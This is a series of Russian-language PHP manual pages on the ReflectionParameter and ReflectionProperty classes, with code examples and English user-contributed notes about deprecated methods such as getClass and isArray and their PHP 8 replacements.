Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект класса ReflectionClass или null, если тип не объявлен или если объявленный тип не является классом или интерфейсом.

Примеры

Пример #1 Пример использования класса ReflectionParameter

<?php
function foo(Exception $a) { }

$functionReflection = new ReflectionFunction('foo');
$parameters = $functionReflection->getParameters();
$aParameter = $parameters[0];

echo $aParameter->getClass()->name;
?>

Смотрите также

  • ReflectionParameter::getDeclaringClass() - Получение объявляющего класса

User Contributed Notes

tarik at bitstore dot ru 22-Feb-2021 07:08
You may use this one function instead depricated

    /**
     * Get parameter class
     * @param \ReflectionParameter $parameter
     * @return \ReflectionClass|null
     */
    private function getClass(\ReflectionParameter $parameter):?\ReflectionClass
    {
        $type = $parameter->getType();
        if (!$type || $type->isBuiltin())
            return NULL;

// This line triggers autoloader!
        if(!class_exists($type->getName()))
            return NULL;

        return  new \ReflectionClass($type->getName());
    }
Dylan 12-Feb-2021 11:47
For php version >=8
ReflectionParamter::getType() is the recommended way to replace the deprecated methods:

- getClass()
e.g: $name = $param->getType() && !$param->getType()->isBuiltin()
       ? new ReflectionClass($param->getType()->getName())
       : null;

- isArray()
e.g: $isArray = $param->getType() && $param->getType()->getName() === 'array';

- isCallable()
e.g: $isCallable = $param->getType() && $param->getType()->getName() === 'callable';

This method is available in PHP 7.0 and later.
richard dot t dot rohrig at gmail dot com 01-Jun-2020 09:33
Example of how to use getClass() in conjunction with getConstructor() to build the dependencies of a class.

private function buildDependencies(ReflectionClass $reflection)
    {
        $constructor = $reflection->getConstructor();

        if (!$constructor) {
            return [];
        }

        $params = $constructor->getParameters();

        return array_map(function ($param) {

            $className = $param->getClass();

            if (!$className) {
                throw new Exception();
            }

            $className = $param->getClass()->getName();

            return $this->make($className);
        }, $params);
    }
tom at r dot je 11-May-2012 09:15
ReflectionParameter::getClass() will cause a fatal error (and trigger __autoload) if the class required by the parameter is not defined.

Sometimes it's useful to only know the class name without needing the class to be loaded.

Here's a simple function that will retrieve only the class name without requiring the class to exist:

<?php
function getClassName(ReflectionParameter $param) {
    preg_match('/\[\s\<\w+?>\s([\w]+)/s', $param->__toString(), $matches);
    return isset($matches[1]) ? $matches[1] : null;
}
?>
infernaz at gmail dot com 31-Jan-2011 12:09
The method returns ReflectionClass object of parameter type class or NULL if none.

<?php

class A {
    function b(B $c, array $d, $e) {
    }
}
class B {
}

$refl = new ReflectionClass('A');
$par = $refl->getMethod('b')->getParameters();

var_dump($par[0]->getClass()->getName());  // outputs B
var_dump($par[1]->getClass());  // note that array type outputs NULL
var_dump($par[2]->getClass());  // outputs NULL

?>


Получение объявляющего класса

  • « ReflectionParameter::getClass
  • ReflectionParameter::getDeclaringFunction »
  • PHP Manual
  • ReflectionParameter
  • Получение объявляющего класса

ReflectionParameter::getDeclaringClass

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

ReflectionParameter::getDeclaringClass — Получение объявляющего класса

Описание

public ReflectionParameter::getDeclaringClass(): ?ReflectionClass

Получает объявляющий класс.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект класса ReflectionClass, либо null, если вызвано для функции.

Примеры

Пример #1 Получение класса, в котором объявлен метод

<?php
class Foo
{
public function bar(\DateTime $datetime)
{
}
}

class Baz extends Foo
{
}

$param = new \ReflectionParameter(['Baz', 'bar'], 0);

var_dump($param->getDeclaringClass());

Результат выполнения приведённого примера:

object(ReflectionClass)#2 (1) {
  ["name"]=>
  string(3) "Foo"
}

Смотрите также

  • ReflectionParameter::getClass() - Получает объект ReflectionClass для отражаемого параметра или null

User Contributed Notes

There are no user contributed notes for this page.


Получение объявляющей функции

  • « ReflectionParameter::getDeclaringClass
  • ReflectionParameter::getDefaultValue »
  • PHP Manual
  • ReflectionParameter
  • Получение объявляющей функции

ReflectionParameter::getDeclaringFunction

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

ReflectionParameter::getDeclaringFunction — Получение объявляющей функции

Описание

public ReflectionParameter::getDeclaringFunction(): ReflectionFunctionAbstract

Получает функцию, в которой объявлен параметр.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект класса ReflectionFunction.

Смотрите также

  • ReflectionParameter::getDeclaringClass() - Получение объявляющего класса

User Contributed Notes

There are no user contributed notes for this page.


Получение значения по умолчанию для параметра

  • « ReflectionParameter::getDeclaringFunction
  • ReflectionParameter::getDefaultValueConstantName »
  • PHP Manual
  • ReflectionParameter
  • Получение значения по умолчанию для параметра

ReflectionParameter::getDefaultValue

(PHP 5 >= 5.0.3, PHP 7, PHP 8)

ReflectionParameter::getDefaultValue — Получение значения по умолчанию для параметра

Описание

public ReflectionParameter::getDefaultValue(): mixed

Получает значение по умолчанию параметра, любой определённой пользователем или внутренней функции или метода. Если аргумент не является необязательным, будет выброшено исключение ReflectionException.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение по умолчанию аргумента.

Список изменений

Версия | Описание
8.0.0 | Метод теперь позволяет получить значение по умолчанию для параметров встроенных функций и встроенных методов класса. Ранее выбрасывалось ReflectionException.

Примеры

Пример #1 Получение

<?php
function foo($test, $bar = 'baz')
{
echo $test . $bar;
}

$function = new ReflectionFunction('foo');

foreach ($function->getParameters() as $param) {
echo 'Имя: ' . $param->getName() . PHP_EOL;
if ($param->isOptional()) {
echo 'Значение по умолчанию: ' . $param->getDefaultValue() . PHP_EOL;
}
echo PHP_EOL;
}
?>

Результат выполнения приведённого примера:

Имя: test

Имя: bar
Значение по умолчанию: baz

Смотрите также

  • ReflectionParameter::isOptional() - Проверяет, является ли аргумент необязательным
  • ReflectionParameter::isDefaultValueAvailable() - Проверяет, доступно ли значение по умолчанию
  • ReflectionParameter::getDefaultValueConstantName() - Возвращает имя константы значения по умолчанию, если значение по умолчанию константа или null
  • ReflectionParameter::isPassedByReference() - Проверяет, передан ли параметр по ссылке

User Contributed Notes

gmail@asmqb7 16-May-2016 12:57
[Editor's note: fixed on user's request]

Getting `Uncaught ReflectionException: Internal error: Failed to retrieve the default value`?

You have to wrap this inside ->isDefaultValueAvailable().


Возвращает имя константы значения по умолчанию, если значение по умолчанию константа или null

  • « ReflectionParameter::getDefaultValue
  • ReflectionParameter::getName »
  • PHP Manual
  • ReflectionParameter
  • Возвращает имя константы значения по умолчанию, если значение по умолчанию константа или null

ReflectionParameter::getDefaultValueConstantName

(PHP 5 >= 5.4.6, PHP 7, PHP 8)

ReflectionParameter::getDefaultValueConstantName — Возвращает имя константы значения по умолчанию, если значение по умолчанию константа или null

Описание

public ReflectionParameter::getDefaultValueConstantName(): ?string

Возвращает значение по умолчанию константы для параметра любой пользовательской или внутренней функции или метода, если значение по умолчанию константа или null. Если параметр необязательный, выбрасывается исключение ReflectionException.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку в случае успешного выполнения или null в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Метод позволяет получать имена значений по умолчанию для встроенных функций и встроенных методов класса. Ранее выбрасывалось ReflectionException.

Примеры

Пример #1 Получение значений по умолчанию констант для параметров функции

<?php
function foo($test, $bar = PHP_INT_MIN)
{
echo $test . $bar;
}

$function = new ReflectionFunction('foo');

foreach ($function->getParameters() as $param) {
echo 'Имя: ' . $param->getName() . PHP_EOL;
if ($param->isOptional()) {
echo 'Значение по умолчанию: ' . $param->getDefaultValueConstantName() . PHP_EOL;
}
echo PHP_EOL;
}
?>

Результат выполнения приведённого примера:

Name: test

Имя: bar
Значение по умолчанию: PHP_INT_MIN

Смотрите также

  • ReflectionParameter::isOptional() - Проверяет, является ли аргумент необязательным
  • ReflectionParameter::isDefaultValueConstant() - Определяет, установили ли параметру константу как значение по умолчанию
  • ReflectionParameter::getDefaultValue() - Получение значения по умолчанию для параметра

User Contributed Notes

There are no user contributed notes for this page.


Получение имени параметра

  • « ReflectionParameter::getDefaultValueConstantName
  • ReflectionParameter::getPosition »
  • PHP Manual
  • ReflectionParameter
  • Получение имени параметра

ReflectionParameter::getName

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::getName — Получение имени параметра

Описание

public ReflectionParameter::getName(): string

Получает имя параметра.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя отражённого параметра.

Смотрите также

  • ReflectionParameter::getValue()

User Contributed Notes

mike 25-May-2015 07:26
FYI, it returns the parameter name without the dollars($) sign at the start.


Получение позиции параметра

  • « ReflectionParameter::getName
  • ReflectionParameter::getType »
  • PHP Manual
  • ReflectionParameter
  • Получение позиции параметра

ReflectionParameter::getPosition

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

ReflectionParameter::getPosition — Получение позиции параметра

Описание

public ReflectionParameter::getPosition(): int

Получает позицию параметра в списке параметров.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Позиция параметра, слева направо, первый параметр находится на позиции #0.

Смотрите также

  • ReflectionParameter::getName() - Получение имени параметра

User Contributed Notes

There are no user contributed notes for this page.


Получает тип параметра

  • « ReflectionParameter::getPosition
  • ReflectionParameter::hasType »
  • PHP Manual
  • ReflectionParameter
  • Получает тип параметра

ReflectionParameter::getType

(PHP 7, PHP 8)

ReflectionParameter::getType — Получает тип параметра

Описание

public ReflectionParameter::getType(): ?ReflectionType

Метод получает тип параметра.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает объект класса ReflectionType, если тип параметра задали, иначе null.

Примеры

Пример #1 Пример использования метода ReflectionParameter::getType() начиная с PHP 7.1.0

С PHP 7.1.0 метод ReflectionType::__toString() устарел. Метод ReflectionParameter::getType() может возвратить экземпляр класса ReflectionNamedType. Метод ReflectionNamedType() умеет получать имя типа параметра.

<?php

function someFunction(int $param, $param2) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();
$reflectionType1 = $reflectionParams[0]->getType();
$reflectionType2 = $reflectionParams[1]->getType();

assert($reflectionType1 instanceof ReflectionNamedType);
echo $reflectionType1->getName(), PHP_EOL;
var_dump($reflectionType2);

?>

Результат выполнения приведённого примера:

int
NULL

Пример #2 Использование метода ReflectionParameter::getType() до PHP 7.1.0

<?php

function someFunction(int $param, $param2) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();
$reflectionType1 = $reflectionParams[0]->getType();
$reflectionType2 = $reflectionParams[1]->getType();

echo $reflectionType1, PHP_EOL;
var_dump($reflectionType2);

?>

Результат выполнения приведённого примера в PHP 7.0:

int
NULL

Пример #3 Пример использования ReflectionParameter::getType() в PHP 8.0.0 и более поздних

Начиная с PHP 8.0.0 метод возвращает экземпляр класса ReflectionNamedType или экземпляр класса ReflectionUnionType. Последний — коллекция первых. Чаще для анализа типа удобнее преобразовать тип в массив объектов ReflectionNamedType. Следующая функция вернёт массив из 0 или более экземпляров класса ReflectionNamedType.

<?php

function getAllTypes(ReflectionParameter $reflectionParameter): array
{
$reflectionType = $reflectionParameter->getType();

if (!$reflectionType) {
return [];
}

return $reflectionType instanceof ReflectionUnionType
? $reflectionType->getTypes()
: [$reflectionType]
;
}

?>

Смотрите также

  • ReflectionParameter::hasType() - Проверяет, указали ли тип параметра
  • ReflectionType::__toString() - Получает название типа параметра

User Contributed Notes

Will Beaumont 05-Sep-2020 04:26
As of 7.1, if a parameter type is found then this method returns an instance of ReflectionNamedType (https://www.php.net/manual/en/class.reflectionnamedtype.php), a subclass of ReflectionType.


Проверяет, указали ли тип параметра

  • « ReflectionParameter::getType
  • ReflectionParameter::isArray »
  • PHP Manual
  • ReflectionParameter
  • Проверяет, указали ли тип параметра

ReflectionParameter::hasType

(PHP 7, PHP 8)

ReflectionParameter::hasType — Проверяет, указали ли тип параметра

Описание

public ReflectionParameter::hasType(): bool

Метод проверяет, указали ли тип параметра.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает true, если тип указали, иначе false.

Примеры

Пример #1 Пример использования метода ReflectionParameter::hasType()

<?php

function someFunction(string $param, $param2 = null) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();

var_dump($reflectionParams[0]->hasType());
var_dump($reflectionParams[1]->hasType());

?>

Вывод приведённого примера будет похож на:

bool(true)
bool(false)

Смотрите также

  • ReflectionParameter::getType() - Получает тип параметра

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, ожидает ли аргумент массив в качестве значения

  • « ReflectionParameter::hasType
  • ReflectionParameter::isCallable »
  • PHP Manual
  • ReflectionParameter
  • Проверяет, ожидает ли аргумент массив в качестве значения

ReflectionParameter::isArray

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionParameter::isArray — Проверяет, ожидает ли аргумент массив в качестве значения

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

В приведённом ниже примере показан альтернативный способ получения этой информации.

Описание

public ReflectionParameter::isArray(): bool

Проверяет, ожидает ли аргумент массив в качестве значения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если в качестве значения ожидается массив (array), false в противном случае.

Примеры

Пример #1 Альтернатива в PHP 8.0.0

Начиная с PHP 8.0.0, следующий код сообщит, поддерживает ли тип вызываемые объекты, в том числе как часть объединения.

<?php
function declaresArray(ReflectionParameter $reflectionParameter): bool
{
$reflectionType = $reflectionParameter->getType();

if (!$reflectionType) return false;

$types = $reflectionType instanceof ReflectionUnionType
? $reflectionType->getTypes()
: [$reflectionType];

return in_array('array', array_map(fn(ReflectionNamedType $t) => $t->getName(), $types));
}
?>

Смотрите также

  • ReflectionParameter::isOptional() - Проверяет, является ли аргумент необязательным

User Contributed Notes

There are no user contributed notes for this page.


Определяет, должен ли параметр принадлежать типу callable

  • « ReflectionParameter::isArray
  • ReflectionParameter::isDefaultValueAvailable »
  • PHP Manual
  • ReflectionParameter
  • Определяет, должен ли параметр принадлежать типу callable

ReflectionParameter::isCallable

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionParameter::isCallable — Определяет, должен ли параметр принадлежать типу callable

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

В приведённом примере показан альтернативный способ, которым получают эту информацию.

Описание

public ReflectionParameter::isCallable(): bool

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает true, если тип параметра callable, иначе false. В случае ошибки метод вернёт null.

Примеры

Пример #1 Альтернатива в PHP 8.0.0

С PHP 8.0.0 следующий код сообщит, поддерживает ли тип вызываемые объекты, в том числе как часть объединения.

<?php

function declaresCallable(ReflectionParameter $reflectionParameter): bool
{
$reflectionType = $reflectionParameter->getType();

if (!$reflectionType) return false;

$types = $reflectionType instanceof ReflectionUnionType
? $reflectionType->getTypes()
: [$reflectionType]
;

return in_array('callable', array_map(fn(ReflectionNamedType $t) => $t->getName(), $types));
}

?>

User Contributed Notes

me at abiusx dot com 15-Jan-2016 05:18
Apparently this does not return true for callback arguments to many of the internal functions, such as array_map and array_walk.


Проверяет, доступно ли значение по умолчанию

  • « ReflectionParameter::isCallable
  • ReflectionParameter::isDefaultValueConstant »
  • PHP Manual
  • ReflectionParameter
  • Проверяет, доступно ли значение по умолчанию

ReflectionParameter::isDefaultValueAvailable

(PHP 5 >= 5.0.3, PHP 7, PHP 8)

ReflectionParameter::isDefaultValueAvailable — Проверяет, доступно ли значение по умолчанию

Описание

public ReflectionParameter::isDefaultValueAvailable(): bool

Проверяет, доступно ли значение по умолчанию параметра.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если доступно значение по умолчанию, false в противном случае.

Смотрите также

  • ReflectionParameter::getDefaultValue() - Получение значения по умолчанию для параметра
  • ReflectionParameter::isDefaultValueConstant() - Определяет, установили ли параметру константу как значение по умолчанию
  • ReflectionParameter::getName() - Получение имени параметра

User Contributed Notes

There are no user contributed notes for this page.


Определяет, установили ли параметру константу как значение по умолчанию

  • « ReflectionParameter::isDefaultValueAvailable
  • ReflectionParameter::isOptional »
  • PHP Manual
  • ReflectionParameter
  • Определяет, установили ли параметру константу как значение по умолчанию

ReflectionParameter::isDefaultValueConstant

(PHP 5 >= 5.4.6, PHP 7, PHP 8)

ReflectionParameter::isDefaultValueConstant — Определяет, установили ли параметру константу как значение по умолчанию

Описание

public ReflectionParameter::isDefaultValueConstant(): bool

Метод определяет, установили ли параметру константу как значение по умолчанию.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает true, если значение по умолчанию — константа, иначе false.

Смотрите также

  • ReflectionParameter::getDefaultValueConstantName() - Возвращает имя константы значения по умолчанию, если значение по умолчанию константа или null
  • ReflectionParameter::isDefaultValueAvailable() - Проверяет, доступно ли значение по умолчанию

User Contributed Notes

kristianoye at gmail dot com 25-May-2015 09:39
This method returns true only if the parameter's default value is set to a named constant.  e.g.

class Foo {
   const OPTION_MULTIGET = 1;

   //Method 1
   public function setGetOptions($opts=0);

   //Method 2
   public function setMultiGetOptions($opts=Foo::OPTION_MULTIGET);
}

Method 1's first ReflectionParameter will return isDefaultValueConstant() = false (0 is a "constant"/static value but not a named constant) and Method 2's will return isDefaultValueConsntant() = true.


Проверяет, является ли аргумент необязательным

  • « ReflectionParameter::isDefaultValueConstant
  • ReflectionParameter::isPassedByReference »
  • PHP Manual
  • ReflectionParameter
  • Проверяет, является ли аргумент необязательным

ReflectionParameter::isOptional

(PHP 5 >= 5.0.3, PHP 7, PHP 8)

ReflectionParameter::isOptional — Проверяет, является ли аргумент необязательным

Описание

public ReflectionParameter::isOptional(): bool

Проверяет, является ли аргумент необязательным.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если аргумент необязательный, false в противном случае.

Смотрите также

  • ReflectionParameter::getName() - Получение имени параметра

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, передан ли параметр по ссылке

  • « ReflectionParameter::isOptional
  • ReflectionParameter::isVariadic »
  • PHP Manual
  • ReflectionParameter
  • Проверяет, передан ли параметр по ссылке

ReflectionParameter::isPassedByReference

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::isPassedByReference — Проверяет, передан ли параметр по ссылке

Описание

public ReflectionParameter::isPassedByReference(): bool

Проверяет, что параметр передан по ссылке.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если параметр передан по ссылке, false в противном случае.

Смотрите также

  • ReflectionParameter::getName() - Получение имени параметра

User Contributed Notes

There are no user contributed notes for this page.


Проверяет вариативность параметра

  • « ReflectionParameter::isPassedByReference
  • ReflectionParameter::__toString »
  • PHP Manual
  • ReflectionParameter
  • Проверяет вариативность параметра

ReflectionParameter::isVariadic

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

ReflectionParameter::isVariadic — Проверяет вариативность параметра

Описание

public ReflectionParameter::isVariadic(): bool

Метод проверяет, определили ли параметр как параметр с переменным числом аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает true, если параметр принимает переменное количество аргументов, иначе false.

User Contributed Notes

There are no user contributed notes for this page.


Преобразование в строку

  • « ReflectionParameter::isVariadic
  • ReflectionProperty »
  • PHP Manual
  • ReflectionParameter
  • Преобразование в строку

ReflectionParameter::__toString

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::__toString — Преобразование в строку

Описание

public ReflectionParameter::__toString(): string

Получает строковое представление параметра.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление параметра.

Примеры

Пример #1 Пример использования ReflectionParameter::__toString()

<?php
echo new ReflectionParameter('substr', 0);
?>

Вывод приведённого примера будет похож на:

Parameter #0 [ <required> string $string ]

Смотрите также

  • ReflectionFunction::__toString() - Возвращает строковое представление объекта ReflectionFunction
  • ReflectionMethod::__toString() - Возвращает строковое представление объекта ReflectionMethod
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionProperty

(PHP 5, PHP 7, PHP 8)

Введение

Класс ReflectionProperty сообщает информацию о свойствах класса.

Обзор классов

class ReflectionProperty implements Reflector {
/* Константы */
public const int IS_STATIC;
public const int IS_READONLY;
public const int IS_PUBLIC;
public const int IS_PROTECTED;
public const int IS_PRIVATE;
/* Свойства */
public string $name;
public string $class;
/* Методы */
public __construct(object|string $class, string $property)
private __clone(): void
public static export(mixed $class, string $name, bool $return = ?): string
public getAttributes(?string $name = null, int $flags = 0): array
public getDeclaringClass(): ReflectionClass
public getDefaultValue(): mixed
public getDocComment(): string|false
public getModifiers(): int
public getName(): string
public getType(): ?ReflectionType
public getValue(?object $object = null): mixed
public hasDefaultValue(): bool
public hasType(): bool
public isDefault(): bool
public isInitialized(?object $object = null): bool
public isPrivate(): bool
public isPromoted(): bool
public isProtected(): bool
public isPublic(): bool
public isReadOnly(): bool
public isStatic(): bool
public setAccessible(bool $accessible): void
public setValue(object $object, mixed $value): void
public __toString(): string
}

Свойства

name

Имя свойства. Доступно только для чтения и выбрасывает исключение ReflectionException при попытке записи.

class

Имя класса, в котором данное свойство описано. Доступно только для чтения и выбрасывает исключение ReflectionException при попытке записи.

Предопределённые константы

Модификаторы ReflectionProperty

ReflectionProperty::IS_STATIC

Указывает, что свойство является статическим. До PHP 7.4.0, значение было 1.

ReflectionProperty::IS_READONLY

Указывает, что свойство является доступным только для чтения. Доступно, начиная с PHP 8.1.0.

ReflectionProperty::IS_PUBLIC

Указывает, что свойство является общедоступным. До PHP 7.4.0, значение было 256.

ReflectionProperty::IS_PROTECTED

Указывает, что свойство является защищённым. До PHP 7.4.0, значение было 512.

ReflectionProperty::IS_PRIVATE

Указывает, что свойство является закрытым. До PHP 7.4.0, значение было 1024.

Замечание:

Значения этих констант могут изменяться от версии к версии PHP. Рекомендуется всегда использовать константы и не полагаться напрямую на значения.

Список изменений

Версия | Описание
8.0.0 | Метод ReflectionProperty::export() был удалён.

Содержание

  • ReflectionProperty::__clone — Клонирует
  • ReflectionProperty::__construct — Создаёт объект класса ReflectionProperty
  • ReflectionProperty::export — Экспортирует
  • ReflectionProperty::getAttributes — Получает атрибуты
  • ReflectionProperty::getDeclaringClass — Получает класс, в котором объявили свойство
  • ReflectionProperty::getDefaultValue — Возвращает значение по умолчанию, которое объявили для свойства
  • ReflectionProperty::getDocComment — Получает doc-комментарий свойства
  • ReflectionProperty::getModifiers — Получает модификаторы свойства
  • ReflectionProperty::getName — Получает имя свойства
  • ReflectionProperty::getType — Получает тип свойства
  • ReflectionProperty::getValue — Получает значение
  • ReflectionProperty::hasDefaultValue — Проверяет, задано ли для свойства значение по умолчанию
  • ReflectionProperty::hasType — Проверяет, есть ли у свойства тип
  • ReflectionProperty::isDefault — Проверяет, является ли значение свойством по умолчанию
  • ReflectionProperty::isInitialized — Проверяет, инициализировали ли свойство
  • ReflectionProperty::isPrivate — Проверяет, является ли свойство закрытым
  • ReflectionProperty::isPromoted — Проверяет, определено ли свойство в конструкторе
  • ReflectionProperty::isProtected — Проверяет, является ли свойство защищённым
  • ReflectionProperty::isPublic — Проверяет, является ли свойство общедоступным
  • ReflectionProperty::isReadOnly — Проверяет, является ли свойство readonly-свойством
  • ReflectionProperty::isStatic — Проверяет, определили ли свойство статическим
  • ReflectionProperty::setAccessible — Устанавливает доступность свойства
  • ReflectionProperty::setValue — Устанавливает значение свойству
  • ReflectionProperty::__toString — Преобразовывает в строку

User Contributed Notes

Nanhe Kumar 06-Jan-2014 12:36
<?php
//serialize static properties (class variable)

class Student {

    private $members = array();
    protected $name;
    public static $noOfStudent;

    public function __construct($name = 'Nanhe Kumar') {
        $this->name = $name;
        Student::$noOfStudent++;
    }

    public function __sleep() {
        $vars = get_class_vars(get_class($this));
        foreach ($vars as $key => $val) {
            if (!empty($val))
                $this->members[$key] = $val;
        }
        return array_keys(get_object_vars($this));
    }

    public function __wakeup() {
        foreach ($this->members as $key => $val) {
            $prop = new ReflectionProperty(get_class($this), $key);
            $prop->setValue(get_class($this), $val);
        }
        $this->members = array();
    }

    public function getTotalStudent() {
        return self::$noOfStudent;
    }

}

$so1 = new Student();
$so2 = new Student();
$serialized = serialize($so1);
print_r($serialized); //O:7:"Student":2:{s:16:"Studentmembers";a:1:{s:11:"noOfStudent";i:2;}s:7:"*name";s:11:"Nanhe Kumar";}
$unserialized = unserialize($serialized);
print_r($unserialized); //Student Object ( [members:Student:private] => Array ( ) [name:protected] => Nanhe Kumar )
echo Student::$noOfStudent; //2
?>
rasmus at mindplay dot dk 30-Jul-2010 05:06
I think a more accurate explanation is this:

The Reflection classes are designed to reflect upon the source code of an application, not on any runtime information.

I think you misunderstand the ReflectionProperty constructor in your example above. The fact that it accepts an object as argument is just a convenience feature - you are actually inspecting the class of that object, not the object itself, so it's basically equivalent to:

<?php

// works fine
$Reflection = new ReflectionProperty(get_class($a), 'a');

// throws exception
$Reflection = new ReflectionProperty(get_class($a), 'foo');

?>

Getting the class of the object you're passing in is implied, since inspecting a defined property is the purpose of this class.

In your example, $a->foo is a dynamic member - it is not defined as a member of class, so there is no defining class reference, line number, default value, etc. - which means, there is nothing to reflect upon.

Clearly this very useful library could use some real documentation...


Клонирует

  • « ReflectionProperty
  • ReflectionProperty::__construct »
  • PHP Manual
  • ReflectionProperty
  • Клонирует

ReflectionProperty::__clone

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::__clone — Клонирует

Описание

private ReflectionProperty::__clone(): void

Метод клонирует.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Список изменений

Версия | Описание
8.1.0 | Метод больше не окончательный (final).

Смотрите также

  • ReflectionProperty::export() - Экспортирует
  • Клонирование объектов

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект класса ReflectionProperty

  • « ReflectionProperty::__clone
  • ReflectionProperty::export »
  • PHP Manual
  • ReflectionProperty
  • Создаёт объект класса ReflectionProperty

ReflectionProperty::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::__construct — Создаёт объект класса ReflectionProperty

Описание

public ReflectionProperty::__construct(object|string $class, string $property)

Список параметров

class

Строка, которая содержит имя класса для отражения, или объект.

property

Имя свойства, которое требуется отразить.

Ошибки

Метод выбросит исключение при попытке получить или установить значение защищённого или закрытого свойства класса.

Примеры

Пример #1 Пример использования метода ReflectionProperty::__construct()

<?php

class Str
{
public $length = 5;
}

// Создаём новый объект класса ReflectionProperty
$prop = new ReflectionProperty('Str', 'length');

// Выводим основную информацию об объекте
printf(
"===> У%s%s%s%s свойство '%s' (которое %s)\n" .
" есть модификаторы %s\n",
$prop->isPublic() ? ' открытого' : '',
$prop->isPrivate() ? ' закрытого' : '',
$prop->isProtected() ? ' защищённого' : '',
$prop->isStatic() ? ' статического' : '',
$prop->getName(),
$prop->isDefault() ? 'объявили во время компиляции' : 'создали во время исполнения кода',
var_export(Reflection::getModifierNames($prop->getModifiers()), true)
);

// Содаём экземпляр класса Str
$obj= new Str();

// Поучаем текущее значение
printf("---> Значение: ");
var_dump($prop->getValue($obj));

// Изменяем значение
$prop->setValue($obj, 10);
printf("---> Установка значения 10, новое значение: ");
var_dump($prop->getValue($obj));

// Сбрасываем объект
var_dump($obj);

?>

Вывод приведённого примера будет похож на:

===> У открытого свойства 'length' (которое объявили во время компиляции)
     есть модификаторы array (
  0 => 'public',
)
---> Значение: int(5)
---> Установка значения 10, новое значение: int(10)
object(Str)#2 (1) {
  ["length"]=>
  int(10)
}

Пример #2 Получение значений защищённых и закрытых свойств через класс ReflectionProperty

<?php

class Foo
{
public $x = 1;
protected $y = 2;
private $z = 3;
}

$obj = new Foo;

$prop = new ReflectionProperty('Foo', 'y');
$prop->setAccessible(true);
var_dump($prop->getValue($obj)); // int(2)

$prop = new ReflectionProperty('Foo', 'z');
$prop->setAccessible(true);
var_dump($prop->getValue($obj)); // int(2)

?>

Вывод приведённого примера будет похож на:

int(2)
int(3)

Смотрите также

  • ReflectionProperty::getName() - Получает имя свойства
  • Конструкторы

User Contributed Notes

geoffsmiths at hotmail dot com 05-Jul-2017 12:20
At example #2: the comment // int(2) is stated while the value for the private property is actually 3. (private $z = 3;)

var_dump($prop->getValue($obj)); // This should be int(3)


Экспортирует

  • « ReflectionProperty::__construct
  • ReflectionProperty::getAttributes »
  • PHP Manual
  • ReflectionProperty
  • Экспортирует

ReflectionProperty::export

(PHP 5, PHP 7)

ReflectionProperty::export — Экспортирует

Внимание

Эта функция УСТАРЕЛА начиная с PHP 7.4.0 и была УДАЛЕНА в PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

public static ReflectionProperty::export(mixed $class, string $name, bool $return = ?): string

Метод экспортирует отражение свойства класса в строку.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

argument

Название или объект класса для экспорта.

name

Имя свойства.

return

Метод вернёт значение экспорта, а не выведет его, если установить для параметра значение true. При значении по умолчанию — false метод сделает наоборот.

Возвращаемые значения

Смотрите также

  • ReflectionProperty::__toString() - Преобразовывает в строку

User Contributed Notes

antonfedonyuk at gmail dot com 03-Sep-2020 03:16
Note: export() method is deprecated in PHP 7.4, use __toString() instead - this method return same result.


Получает атрибуты

  • « ReflectionProperty::export
  • ReflectionProperty::getDeclaringClass »
  • PHP Manual
  • ReflectionProperty
  • Получает атрибуты

ReflectionProperty::getAttributes

(PHP 8)

ReflectionProperty::getAttributes — Получает атрибуты

Описание

public ReflectionProperty::getAttributes(?string $name = null, int $flags = 0): array

Метод возвращает массив атрибутов ReflectionAttribute, которые объявили для свойства класса.

Список параметров

name

Параметр отфильтрует результаты, чтобы включить экземпляры отражений ReflectionAttribute только тех атрибутов, чьи имена совпадают с заданным именем класса.

flags

Флаги для определения способа фильтрации результатов, если указан параметр name.

По умолчанию значение 0, которое возвращает результаты только для атрибутов, которые относятся к классу name.

